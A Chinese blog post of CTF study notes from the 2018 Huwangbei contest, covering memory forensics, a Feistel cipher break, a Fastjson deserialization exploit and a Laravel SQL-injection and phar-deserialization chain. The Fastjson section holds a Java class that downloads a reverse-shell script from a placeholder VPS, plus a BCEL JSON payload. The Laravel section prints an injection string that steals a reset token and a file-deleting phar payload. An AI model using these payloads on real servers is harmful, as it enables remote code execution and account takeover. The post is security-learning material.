V0W's Blog

护网杯后记-学习笔记

字数统计: 5,120阅读时长: 23 min
2018/10/18 Share

0x00 前言

之前参加护网杯,因为太菜,没做几个题。可能是WP发的早,WP竟然广为流传,是我第一篇阅读量突破3000+的博客,还是感谢队友们(道萝岗特森WCatalpa.T)的强力输出,实在诚惶诚恐。想着,以后也要更加努力的去学习啊,毕竟这么菜,被叫大佬有点不好意思==。先从护网杯的几道没做出的题开始,来学习吧。

0x01 Easy_dump

比赛时,这个题用了很多的还原工具,花了很多时间,但是都没做出来。。。

后来发现还原工具都是假的==、disk genius提出来的图片是空数据。

这是一个取证分析题,很久以前做过类似的取证分析,但是很久没做过了,有些忘记了。

1
2
volatility -f easy_dump.img imageinfo
# 直接用volatility的imageinfo查看镜像,发现是windows内存镜像,并且可以看到版本信息

mark

volatility提供很多查看当时系统状态信息的指令,我们先用pslist查看当时的进程

1
volatility -f mem.vmem --profile=WinXPSP2x86 pslist
1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:~/Desktop# volatility -f easy_dump.img --profile=Win7SP1x64 pslist
Volatility Foundation Volatility Framework 2.6
Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit
------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0xfffffa8007d0ab30 System 4 0 88 483 ------ 0 2018-10-02 11:55:08 UTC+0000
0xfffffa8008c5b4f0 smss.exe 260 4 2 29 ------ 0 2018-10-02 11:55:08 UTC+0000
...
...
0xfffffa800a3c7b30 explorer.exe 1456 1404 34 1007 1 0 2018-10-02 11:55:11 UTC+0000
0xfffffa800a44eb30 vmtoolsd.exe 1568 1456 9 215 1 0 2018-10-02 11:55:12 UTC+0000
...
...
0xfffffa8009ce58b0 DumpIt.exe 1476 1456 1 23 1 1 2018-10-02 11:59:30 UTC+0000
0xfffffa80095f1b30 conhost.exe 344 408 2 57 1 0 2018-10-02 11:59:30 UTC+0000

受篇幅制约,这里只列举部分进程,可以看到有常见的NotePad.exeexplorer.exe,还有一个可疑的进程DumpIt

尝试查看NotePad中是否有什么隐藏信息,volatility中notepad插件,可以很方便的查看notepad进程的记录:

1
volatility notepad -f easy_dump.img pslist --profile=Win7SP0x64

但是没发现什么有用的提示之类的东西。

再尝试从其他程序入手。volatility中iehistoty插件,可以很方便的查看ie浏览器的浏览记录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Volatility Foundation Volatility Framework 2.6
**************************************************
Process: 1260 explorer.exe
Cache type "URL " at 0x4235000
Record length: 0x100
Location: :2018093020181001: n3k0@file:///C:/phos.jpg
Last modified: 2018-09-30 13:19:21 UTC+0000
Last accessed: 2018-09-30 05:19:21 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0
**************************************************
Process: 1260 explorer.exe
Cache type "URL " at 0x4235100
Record length: 0x100
Location: :2018093020181001: n3k0@:Host: ?????????
Last modified: 2018-09-30 12:43:38 UTC+0000
Last accessed: 2018-09-30 04:43:38 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0
**************************************************
Process: 1260 explorer.exe
Cache type "URL " at 0x4235200
Record length: 0x100
Location: :2018093020181001: n3k0@file:///C:/phos.jpg
Last modified: 2018-09-30 13:30:14 UTC+0000
Last accessed: 2018-09-30 05:30:14 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0
**************************************************

提示指向了一个文件phos.jpg,可能是有东西的,于是利用filescan命令找到文件位置。

1
2
3
root@kali:~/Desktop# volatility -f ./easy_dump.img --profile=Win7SP1x64 filescan | grep phos.jpg
Volatility Foundation Volatility Framework 2.6
0x0000000023e067e0 32 0 RW---- \Device\HarddiskVolume1\phos.jpg

记下偏移0x0000000023e067e0,使用dumpfiles把这张图片dump出来。

命令:

1
volatility -f ./easy_dump.img --profile=Win7SP1x64 dumpfiles -Q 0x0000000023e067e0 --name -D ./res
1
2
3
4
root@kali:~/Desktop# volatility -f ./easy_dump.img --profile=Win7SP1x64 dumpfiles -Q 0x0000000023e067e0 --name -D ./res
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x23e067e0 None \Device\HarddiskVolume1\phos.jpg
SharedCacheMap 0x23e067e0 None \Device\HarddiskVolume1\phos.jpg

打开文件,没有直接发现flag,猜测下面是图片隐写了。

1
binwalk -e file.None.0xfffffa800a488e10.phos.jpg.vacb

得到一个压缩包(伪加密,解压就是.img)和一个.img镜像

strings查看.img文件,发现字符串yispyweih!uokt_jwyx_snh_gzfne和一堆二位数字对,怀疑是类似坐标之类的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
strings message.img 
/root/ctf/message
5NRt
lost+found
.message.swp
hint.txt
.Trash-0
b0VIM 8.0
n3k0
shiki-2.local
~n3k0/work/HuWangBei/6/message
U3210
#"!
yispyweih!uokt_jwyx_snh_gzfne
...
...
41 119
41 120
41 121
41 132
41 133
41 134
41 135
41 136
41 137
41 138
41 139
41 140
41 141
41 142
41 1

通过数量(256*256)推测这个数据代表二维码上的黑点和白点 脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from PIL import Image,ImageDraw

width = 300
height = 300
image = Image.new('RGB',(width,height))
draw = ImageDraw.Draw(image)

f=open('hint.txt','r').read()
for i in f.split('\n'):
x = int(i.split()[0])
y = int(i.split()[1])
draw.point((x, y), fill=(255,255,255))

image.save('res.jpg', 'jpeg');

得到二维码

mark

扫码得到hint:

Here is the vigenere key: aeolus, but i deleted the encrypted message。

之前的密文是维吉尼亚密码,key是aeolus

在线解密得到flag

1
flag:yeeeeeeet!just_find_and_solve

0x02 fez

这个题一开始思路错了,后来是道萝岗特森大佬发现出题人的思路,顺利输出。

我的思路:

因为test是已知的,第一次fez的调用中用到了test和K,并且密文也是已知的,那么能不能解出来K,然后去解flag?于是回到round函数,可以看到最后一次加密结束时,用到的是K7,那么最后一次的E_L和E_R我们是知道的,我们能不能推出前一次的L和R,也就是没有经过轮加密的L和R,我们已经知道下一轮的密文L等于上一轮的R,下一轮的R等于上一轮的R异或L再异或当前轮所使用的K,那么很容易得出我们能获得上一轮所使用的明文的右半部分,有了上一轮的右半部分,加密后的新的右半部分,如果我们求出上一轮的左边的部分,就能求出当前轮所使用的K,但是根绝目前已知的所有条件,上一轮的明文的左半部分是无法求出的,卡在这里了很长时间,结果无奈放弃了

dlgts大哥的思路:

正向来模拟加密的过程,来发现是否存在漏洞,在round函数中,新一轮的左半部分等于上一轮的右半部分,下一轮的右半部分等于上一轮的左右两部分异或之后再和当前轮的K异或,产生的新一轮的左右两部分拼接成为新的密文。

知识点:

  • 相同的数异或为0

  • 0异或任何数还是其本身

于是开始模拟:

1
2
3
4
5
6
7
第一轮:R+R^L^K1
第二轮:R^L^K1 + R^R^L^K1^K2 => R^L^K1+L^K1^K2(之后原理一致,不保留中间过程)
第三轮:L^K1^K2 + R^K2^K3
第四轮:R^K2^K3 + L^R^K1^K3^K4
第五轮:L^R^K1^K3^K4 + L^K1^K2^K4^K5
第六轮:L^K1^K2^K4^K5 + R^K2^K3^K5^k6
第七轮:R^K2^K3^K5^k6 + R^L^K1^K3^K4^K6^K7 【res】

结果由K变量和初始的明文的两部分组成

又因为在包含flag的m变量中进行了相同的fez函数加密,所以和test调用fez函数以后的结果形式是相同的,只是初始的明文不同,又因为根据异或运算的计算逻辑,相同的数异或为0,0异或任何数还是其本身,所以即使我们不知道K变量是什么,因为两次运算结果的K盒子在结果中的形式相同,所以可以抵消掉。

即由于test变量是用同样的算法得到的,所以test的最终结果为

1
Rtest^K2^K3^K5^k6 + Rtest^Ltest^K1^K3^K4^K6^K7		【TestRes】

而我们已知testTestRes,即LtestRtest

于是在进行推导,容易得到flag的两个部分。

1
2
3
4
TestRes[0:27] ^ res[0:27] == R ^ Rtest
TestRes[27:54] ^ res[27:54] == L ^ R ^ Rtest ^ Ltest
(R ^ Rtest) ^ Rtest = R
(L ^ R ^ Rtest ^ Ltest) ^ (R^Rtest) ^ Ltest = L

MyExp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import os
def xor(a,b):
assert len(a)==len(b)
c=""
for i in range(len(a)):
c+=chr(ord(a[i])^ord(b[i]))
return c

test = "048d26224aae9f6be49f13202c0b173c2346909fcbba868d5d9b7431002957c5c01c546530f84e45b8a3892526401c007bca7d39b0b7".decode("hex")
testres = "69d41820c61c7e8fb47fde8f09064f24af72dc6251e97e72bdc2d7c0b4696110ef84f30da6ac88b7059500f8e814cec9e9e13bcafad8".decode("hex")
flagres = "32e7094533a1e76ac8acdeb882c0d6965ca954d75dfd00e759b5aff9663f41d49ae70ee18fd3c067ad7ae577433ad2512b764f4b2eb2".decode("hex")

L = flagres[0:27]
R = flagres[27:54]
t_L = testres[0:27]
t_R = testres[27:54]

tmp_R = xor(L,t_L) # R ^ Rtest
tmp_L = xor(R,t_R) # L ^ R ^ Rtest ^ Ltest

flag_R = xor(tmp_R, test[27:54]) # (R ^ Rtest) ^ Rtest
flag_L = xor(xor(tmp_L,tmp_R),test[0:27]) # (L ^ R ^ Rtest ^ Ltest) ^ (R^Rtest) ^ Ltest

print flag_L,flag_R

# flag{festel_weak_666_lol88f j3820}����y�~:;��ȩ o�����

题目反思

  1. 对于随机数的解密处理:
    • 伪随机,并非真正的随机,了解其seed和原理,很大情况下,可以爆破
    • 对于其加密原理进行数学模拟和分析,很可能在某些步骤就可以抵消而和随机结果无关。就像很多高中数学题一样。
    • 妄图通过加密步骤逆向解决,对于有随机的题目来说四徒劳的。
  2. 对于加密而言,数学尤其重要,很多数学的思想可以借鉴。
  3. 异或是很特殊的运算,A^A = 0,0 ^ any = any.

0x03 easy_web

3.1 环境复现

之前很少接触JavaWeb,最近倒是在学习这门专业选修也是搞得懵懵的。

因为原题环境关闭了,这里利用了一位大佬写的环境进行测试和学习(感谢0rz)。

https://github.com/iBearcat/FastJson-JdbcRowSetImpl-RCE

关于ubantu服务器搭建tomcat环境我写了另一篇博客,需要的朋友欢迎移步阅读。

配置环境不多说

1
2
3
4
root@V0W:# export tomcat=/usr/local/tomcat/tomcat7.0
root@V0W:# echo $tomcat
/usr/local/tomcat/tomcat7.0
root@V0W:/# wget "https://github.com/iBearcat/FastJson-JdbcRowSetImpl/raw/master/FastJson_Vul.war" -P $tomcat/webapps/ && cd $tomcat/bin/ && ./startup.sh

访问url,看到和比赛时相似的环境

mark

之前只接触了一点JavaWeb,这里也是看了很久各位大佬的文档(在文末参考链接中都给出了),才算是对其利用有了初步了解,加上利用大佬们现成的Poc,解决了这个题目。

首先是原理篇:大佬们的解释一定比我好多了,大家可以参考文末的链接,进行理解。

Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,效率较高,被广泛的用在web服务以及android上,它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象。

fastjson漏洞出现的地方也就是JSON.parseObject这个方法上面。

在反序列化成对象的过程中,能通过类初始化时候的构造函数或者变量的setter方法执行恶意代码。但是由于这个恶意构造的类不可控,所以这种攻击看上去是无法实施的。

但是可以将编译好的.class或者.jar文件转换成byte[],然后通过defineClass加载byte[]返回class对象。即将类的定义转换成bcel编码进行攻击。

3.2 大佬的攻击思路

  1. 构造一个payload——evil.class 能够直接执行shell,或者下载一个预先存在VPS某端口的用于反弹shell的py文件
  2. 写另一个类,用于将evil.class 生成bcel编码
  3. 构造包含恶意攻击类bcel编码的JSON数据,用于攻击
  4. VPS上监听一个端口,实施攻击,反弹shell

3.3 利用大佬的payload测试攻击

evil.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class evil extends Thread {
private static Thread thread = new evil();
private static String cmd = "wget http://vps/neko.py -O /tmp/neko.py";
//这个地址写自己的VPS地址,将反弹shell的py脚本放在一个端口,之后可以通过http访问下载

static
{
try{//尝试直接执行shell
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe","/c",cmd}
: new String[]{"/bin/bash","-c",cmd};
Runtime.getRuntime().exec(cmds);
}
catch(Exception e){
e.printStackTrace();
}

}
}

编译得到.class文件

1
javac evil.class

另一个BCELencode.java文件中,进行bcel编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class BCELencode {
public static void main(String []args) throws Exception{
//There also should be compiled class file,not java file
Path path = Paths.get("src/evil.class"); //文件绝对路径
byte[] data = Files.readAllBytes(path);
String s = Utility.encode(data,true);
System.out.print(s);
}
}

得到BCEL编码

然后构造JSON poc

1
2
3
4
5
6
7
8
{
"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader" :
{
"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName" : "上个步骤得到的编码"
}

将evil.java的cmd修改为 python /tmp/poc.py

再操作一遍

就可以执行py文件,反弹一个shell,进行命令执行。

mark

0x04 Easy_laravel

4.1 环境复现

首先感谢4uuu大佬出了这么好的题还给出复现环境

1
2
git clone https://github.com/sco4x0/huwangbei2018_easy_laravel
docker-compose up

4.2 源码发现

在登录等页面查看源码,可以得到

1
<!-- https://github.com/qqqqqqvq/easy_laravel -->

得到代码,之后composer install 。代码就完整了。开始审计。

首先看路由route文件夹

1
2
3
4
5
6
7
8
9
10
Route::get('/', function () { return view('welcome'); });
Auth::routes();
Route::get('/home', 'HomeController@index');
Route::get('/note', 'NoteController@index')->name('note');
Route::get('/upload', 'UploadController@index')->name('upload');
Route::post('/upload', 'UploadController@upload')->name('upload');
Route::get('/flag', 'FlagController@showFlag')->name('flag');
Route::get('/files', 'UploadController@files')->name('files');
Route::post('/check', 'UploadController@check')->name('check');
Route::get('/error', 'HomeController@error')->name('error');

也可以在目录下通过php artisan route:list命令查看,更加直接,详细

mark

4.3 sql注入

几乎所有操作都需要进行登录,而且 UploadControllerFlagController 都使用了一个叫做 admin 的中间件,在 app/Http/Middleware/AdminMiddleware.php 中可以看到代码

1
2
3
4
5
6
7
public function handle($request, Closure $next)
{
if ($this->auth->user()->email !== 'admin@qvq.im') {
return redirect(route('error'));
}
return $next($request);
}

需要当前用户的邮箱为 `admin@qvq.im` ,这时发现使用这个邮箱是注册不上的,因为系统已经内置了这个管理员账号。但是由于不知道密码,我们也没办法利用。

接下来看看,有没有什么办法可以得到管理员邮箱的密码。在\app\Http\Controllers\NoteController.php中,发现一个明显的SQL注入(类似二次注入,注入点在注册页面):

1
2
3
4
5
6
public function index(Note $note)
{
$username = Auth::user()->name;
$notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'");
return view('note', compact('notes'));
}

确实也可以注入,本以为可以通过注入得到admin用户的密码,那就简单了,不是吗?

mark

mark

结果,最终发现密码是随机加密的,无法破解。

1
2
3
4
5
6
7
8
9
10
$factory->define(App\User::class, function (Faker\Generator $faker) {
static $password;

return [
'name' => '4uuu Nya',
'email' => 'admin@qvq.im',
'password' => bcrypt(str_random(40)),
'remember_token' => str_random(10),
];
});

4.4 密码重置

既然SQL注入不行,那么就得想其他方法才行。在上一步SQL注入的测试中,发现\database\migrations\2014_10_12_100000_create_password_resets_table.php是一个重置密码的文件,并且其中代码是这样写的。

1
2
3
4
5
6
7
8
public function up()
{
Schema::create('password_resets', function (Blueprint $table) {
$table->string('email')->index();
$table->string('token')->index();
$table->timestamp('created_at')->nullable();
});
}

也就是只要有邮箱和token,我们就可以修改密码,问题在于token怎么弄到手呢?

这里用到Laravel5.4的一个特性 :

重置密码时,如果存在这个用户的话,有个生成token的操作,之后将生成的token直接存在了数据库中。

利用注册页面的SQL注入

1
admin' union select 1,(select token from password_resets limit 0,1),3,4,5#

拿到token后,访问链接

1
http://120.79.180.214/password/reset/1c9d0f377a75dd48abaa90dd7fa4eb35653da39561d6f9c33bdb14a8a0849616(token值)

mark

4.5 登陆后台

发现有4个功能:upload,files,flag,note

但是直接访问会发现页面提示 no flag,这里页面内容不一致,在 laravel 中,模板文件是存放在 resources/views 中的,然后会被编译放到 storage/framework/views 中,而编译后的文件存在过期的判断。

加上题目的提示:

  • blade expired
  • pop chain

可以发现是blade过期的问题

发现Blade 是 laravel 提供的一个简单强大的模板引擎。它不像其他流行的 PHP 模板引擎那样限制你在视图中使用原生的 PHP 代码,事实上它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变,这意味着 Blade 并没有给你的应用添加编译的负担。
所以我们这的思路很清晰:

  1. 因为旧的缓存存在,导致我们看不到flag
  2. 我们可以利用pop chain删掉缓存文件
  3. 读到flag

那么缓存文件在哪里呢?我们查看源码发现

Illuminate/View/Compilers/Compiler.php 中可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function isExpired($path)
{
$compiled = $this->getCompiledPath($path);

// If the compiled file doesn't exist we will indicate that the view is expired
// so that it can be re-compiled. Else, we will verify the last modification
// of the views is less than the modification times of the compiled views.
if (! $this->files->exists($compiled)) {
return true;
}

$lastModified = $this->files->lastModified($path);

return $lastModified >= $this->files->lastModified($compiled);
}

结合相关文档和提示nginx是坠吼的 ( 好麻烦,默认配置也是坠吼的

那么很容易得知web目录

1
/usr/share/nginx/html

blade默认缓存是

1
/storage/framework/views

因此,使用了nginx的默认配置,那么flag文件的完整路径就是

1
/usr/share/nginx/html/resources/views/auth/flag.blade.php

经过sha1后得到 34e41df0934a75437873264cd28e2d835bc38772.php

4.6 利用反序列化删除文件

过期时间是依据文件的最后修改时间来判断的,所以判断服务器上编译后的文件最后修改时间大于原本模板文件,那么怎么去删除(修改)编译后的文件?

这里发现composer.json中提供了大量组件,我们安装一下,然后全局搜索,容易发现有unlink()

4.7 phar神来之笔

那最后怎么触发序列化呢?这里用到了我们BlackHat会议演讲的phar://方法
参考这篇文章我校表哥seaii的利用 phar 拓展 php 反序列化漏洞攻击面

check在\app\Http\Controllers\UploadController.php

1
2
3
4
5
6
7
8
9
10
11
12
13
public function check(Request $request)
{
$path = $request->input('path', $this->path);
$filename = $request->input('filename', null);
if($filename){
if(!file_exists($path . $filename)){
Flash::error('磁盘文件已删除,刷新文件列表');
}else{
Flash::success('文件有效');
}
}
return redirect(route('files'));
}

是会使用file_exists的,并且path和filename可控!

出题师傅的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

$filepath = '/usr/share/nginx/html/resources/views/auth/flag.blade.php';
require '/usr/share/nginx/html/vendor/autoload.php';
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$a = serialize($obj);
$a = preg_replace('/\/tmp\/FileByteStream[a-zA-Z0-9]{6}/', sha1(xxx), $a);
$a = str_replace('25', '90', $a);
$b = unserialize($a);
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($b);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>

然后上传1.gif,check的时候传入自定义的path和filename,然后访问/flag ,得到flag

4.8 本题总结

由于之前没太接触过Laravel框架,最近看了很多资料,才算勉强看懂了大佬们的WP和思路。不得不说,这道题目非常有水平,考察了二次注入,Laravel框架的特性和逻辑漏洞,POP链与反序列化, phar协议扩展反序列化的攻击等。学习了0rz

0x05 后记

本次护网杯,收获甚大,出题人的水平非常高,出的题很有意思,而且学到很多东西, 感谢所有出题人0rz。

当然,也发现自身的很多不足,比如对一些web框架不熟悉,对Javaweb很不熟悉,杂项有些东西还没吃透,后期需要更加努力的去弥补这些了。

还有就是,很多东西喜欢拖,拖到现在才做完护网杯的复习和学习==、

最后,有点可惜,没有进入决赛,问了一下排名90,感觉再做出一个题赢就差不多能进,哎(;´д`)ゞ。打算下周开始接触逆向和pwn,希望看到文章的逆向大佬给个逆向入门的学习路线吧,欢迎联系我(联系方式见关于页面)。

0x06 参考链接

护网杯一道密码学的感想

2018护网杯-web-writeup

2018护网杯线上赛 Writeup by Lilac

护网杯WP-n3k0

Fastjson反序列化漏洞研究

FastJson反序列化漏洞(续)/)

fastjson 远程反序列化poc的构造和分析

DefineClass在Java反序列化当中的利用

护网杯2018 easy_laravel 复盘

护网杯-easy laravel-Writeup

护网杯2018 easy_laravel出题记录

这是学长表哥seaii的文章0rz——利用 phar 拓展 php 反序列化漏洞攻击面

2018护网杯easy_laravel 利用POP Chian getshell

CATALOG
  1. 1. 0x00 前言
  2. 2. 0x01 Easy_dump
  3. 3. 0x02 fez
  4. 4. 0x03 easy_web
    1. 4.1. 3.1 环境复现
    2. 4.2. 3.2 大佬的攻击思路
    3. 4.3. 3.3 利用大佬的payload测试攻击
  5. 5. 0x04 Easy_laravel
    1. 5.1. 4.1 环境复现
    2. 5.2. 4.2 源码发现
    3. 5.3. 4.3 sql注入
    4. 5.4. 4.4 密码重置
    5. 5.5. 4.5 登陆后台
    6. 5.6. 4.6 利用反序列化删除文件
    7. 5.7. 4.7 phar神来之笔
    8. 5.8. 4.8 本题总结
  6. 6. 0x05 后记
  7. 7. 0x06 参考链接